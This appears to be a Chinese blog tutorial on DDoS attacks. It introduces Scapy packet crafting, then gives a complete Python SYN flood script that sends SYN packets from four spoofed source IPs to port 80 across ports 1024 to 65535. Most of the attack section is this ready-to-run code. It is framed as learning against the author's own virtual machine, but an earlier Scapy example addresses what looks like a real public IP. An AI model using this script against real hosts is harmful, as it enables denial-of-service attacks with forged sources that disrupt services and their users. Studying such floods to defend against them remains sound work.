DDOS攻击学习-scapy使用&python编写SYN拒绝服务攻击


安装npcap可以查看此教程

启动&配置

scapy#控制台输入

在这里插入图片描述
如图所示可以查看IP等, 格式是

变量名 = IP()/TCP()

你可以查看相关信息

变量名.show()

在这里插入图片描述
在这里插入图片描述
以上的值都可以进行修改

#pkt = IP(src=源地址,dst=目标IP地址)/TCP()
pkt = IP(src="172.23.233.164",dst="110.242.68.66")/TCP()

在这里插入图片描述
这样我们地址配置就完成了

发送数据

#发送的变量名= sr1(上面IP配置后的变量名)
#sr:发送出去后不只是收一个
#send():只发生不接收
#Srp1():只发送俩层
#Srp()
#Sendp()
res = sr1(pkt)

在这里插入图片描述

图片中显示发送完成了1个包;返回了俩个包;1个回答

怎么查看回答
res.summary()

在这里插入图片描述

查看详细的数据
res.show()

在这里插入图片描述
这里可以看到seqack标记,len:发送数据包的长度

sinff()

用作嗅探

hexdump()

用作16进制转换的

使用python进行SYN拒绝服务攻击

import random
import time
from scapy.all import *
tgt="172.23.233.164" #目标服务器IP地址(这是我自己的虚拟机,需要修改)
print(tgt)
dPort = 80 #目标服务器端口
def synFlood(tgt,dPort):
	srcList=['11.1.1.2','22.1.1.102','33.1.1.2','44.1.1.2'] #四个虚拟源地址
	for sPort in range(1024,65535):
		index = random.randrange(4)	#随机一个小于4的随机数
		ipLayer = IP(src=srcList[index],dst=tgt) #随机使用4个IP进行发送给dst目标地址
		tcpLayer = TCP(sport=sPort,dport=dPort,flags='S')
		packet=ipLayer/tcpLayer
		send(packet)
synFlood(tgt,dPort)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

结城明日奈是我老婆

支持一下一直热爱程序的菜鸟吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值